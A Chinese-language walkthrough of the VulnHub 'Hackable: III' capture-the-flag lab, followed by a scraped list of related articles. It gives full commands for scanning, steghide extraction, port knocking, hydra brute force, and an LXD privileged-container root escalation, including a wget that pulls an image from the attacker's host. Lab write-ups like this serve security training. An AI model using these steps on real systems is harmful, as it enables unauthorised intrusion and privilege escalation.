vulnhub靶场之HACKABLE: III
准备:
攻击机:虚拟机kali、本机win10。
靶机:Hackable: III,下载地址:https://download.vulnhub.com/hackable/hackable3.ova,下载后直接vbox打开即可。
知识点:lxd提权、hydra爆破、图片隐藏信息获取、端口敲门(knock)。

信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.5.0/24,获得靶机地址:192.168.5.230。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.230,显示开放了80端口,开启了http服务。

web服务-信息收集:
访问其web服务的源代码信息,在其源代码信息中发现提示信息,根据提示信息猜测可能存在以下账户:jubiscleudo和hackable3,一个登录界面地址:http://192.168.5.230/login_page/login.html。


在登录界面中进行正常登录时会返回源码信息,在返回的源码信息中发现了一个图片文件:3.jpg,以及一个包含的文件config.php。

访问该图片并进行保留,使用steghide查看隐藏的文件信息:steghide info 3.jpg并读取下文件信息内容:steghide extract -sf 3.jpg,发现端口号:65535。

访问config.php发现提示信息,告诉我们root账户不需要密码,这个有待验证,先暂时放这。

目录扫描:
使用dirsearch进行目录扫描,命令:dirsearch -u http://192.168.5.230 -e * ,发现存在/backup、/config、/cs目录和其他一些文件。

访问:http://192.168.5.230/backup/,发现wordlist.txt文件,猜测是密码字典,保存下来。

访问:http://192.168.5.230/config/,发现1.txt文件,文件内容是base64加密的字符串:MTAwMDA=,解密后得到端口:10000。


访问:http://192.168.5.230/css/,发现2.txt文件,在文件中发现加密信息:++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>------------------....,在解密网站:http://esoteric.sange.fi/brainfuck/impl/interp/i.html进行解密后的端口:4444。



加上刚开始的提示信息:activate the port knocking,所以我们尝试使用获得端口进行敲门,命令:knock -v 192.168.5.230 10000 4444 65535(端口顺序是文件名的1、2、3顺序),然后在对靶机进行扫描:nmap -T4 -sV -p- -A 192.168.5.230,发现开放的22端口。

获取shell:
使用收集到的账户信息:jubiscleudo、hackable3和密码字典进行爆破,成功获得账户和密码:jubiscleudo/onlymy。

使用获得账户和密码进行ssh连接,命令:ssh jubiscleudo@192.168.5.230,成功获得shell权限。

横向渗透:
经过一番查找在/var/www/html目录下发现一个隐藏文件:.backup_config.php,读取该文件内容获取到hackable_3账户的密码:TrOLLED_3。

使用获得的账户和密码信息进行登录:hackable_3/TrOLLED_3,成功登录到hackable_3账户。

提权:
在hackable_3账户下发现其具有lxd权限,那就可以尝试使用lxd提权。

首先在这个网站:https://github.com/saghul/lxd-alpine-builder.git下载tar.gz文件并上传到靶机,命令:wget http://192.168.5.226:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz。然后在依次执行如下命令,即可成功获得root权限。
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
lxd init #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

获得root权限后,在/mnt/root/root目录下发现root.txt文件,读取该文件成功获取到flag值。

vulnhub靶场之HACKABLE: III的更多相关文章
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- 2020-2021 Winter Petrozavodsk Camp, Belarusian SU Contest (XXI Open Cup, Grand Prix of Belarus) 题解
题目列表 C. Brave Seekers of Unicorns D. Bank Security Unification G. Biological Software Utilities I. B ...
- Seal-Report: 开放式数据库报表工具
Seal Report是.Net的一个基于Apache 2.0 开源工具,完全用C# 语言编写,最新的6.6 版本采用.NET 6,github: https://github.com/ariacom ...
- 空 Maven项目转成 Web项目 & SpringMVC调用其他 Module中的方法可能会遇到的小问题
SpringMVC调用其他 模块内的方法的 坑 下次别在阴沟里翻船啦.. 一共花费 4个小时,解决项目中的这个问题 OMG 1. 首先是 Maven新建工程 一般使用 Maven都是先创建 空工程 当 ...
- 华为设备配置telnet远程登陆命令
user-interface vty 0 4 进入0~4前五个的VTY用户界面进行整体配置 authentication-mode password 设置验证方式为密码 user privilege ...
- for循环小九九乘法表
for(int i=1;i<=9;i++) { for(int j=1;j<=i;j++) { System.out.print(i+"*"+j+"=&quo ...
- Vscode设置标签页多行显示
1.设置标签页多行展示的方法 文件–>首选项–>设置 2.勾选多行显示按钮 3.显示效果
- 『现学现忘』Git分支 — 40、分支基本操作(一)
目录 1.创建分支 (1)创建分支 (2)图示理解 2.查看分支列表 3.分支切换 4.查看所有分支的最后一个提交 5.删除分支 1.创建分支 (1)创建分支 Git 是怎么创建新分支的呢? 很简单, ...
- el-cascader组件根据最后一级向上找到父级并设置默认值
vue + elementUI项目中,el-cascader级联选择器使用频率非常高,一些基本使用方法可以参考elementUI官方文档,本文主要研究当接口只返回最后一级id时,如何向上找出所有父级数 ...
- Linux进程间通信(二)
信号 信号的概念 信号是Linux进程间通信的最古老的一种方式.信号是软件中断,是一种异步通信的方式.信号可以导致一个正在运行的进程被另一个正在运行的异步进程中断,转而处理某个突发事件. 一旦产生信号 ...
- Oracle:ORA-00911: invalid character解决办法
问题记录:用jmeter执行sql语句,报错:ORA-00911: invalid character. 解决方法:sql语句末尾";"导致,去掉即可解决. 过程记录: 使用jme ...